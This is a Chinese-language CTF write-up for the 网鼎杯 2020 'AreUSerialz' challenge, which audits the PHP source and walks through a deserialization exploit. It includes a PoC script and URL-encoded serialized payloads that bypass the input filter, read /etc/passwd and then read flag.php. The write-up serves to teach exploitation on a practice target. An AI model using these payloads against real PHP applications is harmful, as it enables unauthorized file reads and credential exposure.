[网鼎杯 2020 青龙组]AreUSerialz

[网鼎杯 2020 青龙组]AreUSerialz。

地址:https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E9%9D%92%E9%BE%99%E7%BB%84]AreUSerialz

一、审计代码

  

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

1、搜索unserialize,找到输入点为GET请求提交的参数str,该参数会被反序列化。

2、搜索__destruct,找到析构函数,发现起调用了process函数,同时该函数会根据op变量值的不同,会相应调用读写函数。

3、所以,这里的思路就清楚了:

  (一)将op设置为int型的2,绕过析构函数中的if判断,同时又可以调用到读文件的流程

  (二)利用大写S采用的16进制,来绕过is_valid中对空字节的检查

二、构造poc

  先尝试读取/etcc/passwd,验证脚本是否生效:

shellydeMacBook-Pro:~ shellyzhang$ cat 2.php 
<?php
class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $this->op = 2;
        $this->filename = "/etc/passwd";
        $this->content = "";
    }

}

$a = new FileHandler();
$b = urlencode(serialize($a));
$b = str_replace("s", "S", $b);  
$b = str_replace("%00", "\\00", $b);  
echo $b; shellydeMacBook-Pro:~ shellyzhang$ php 2.php 
O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A11%3A%22%2Fetc%2FpaSSwd%22%3BS%3A10%3A%22\00%2A\00content%22%3BS%3A0%3A%22%22%3B%7D

  成功读取文件,注意这里需要把paSSwd改回passwd:

  尝试可知,直接相对路径,即可读出flag,采用poc

O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BS%3A0%3A%22%22%3B%7D

 

posted @ 2020-08-05 16:13  hanbufei  阅读(1227)  评论(0编辑  收藏  举报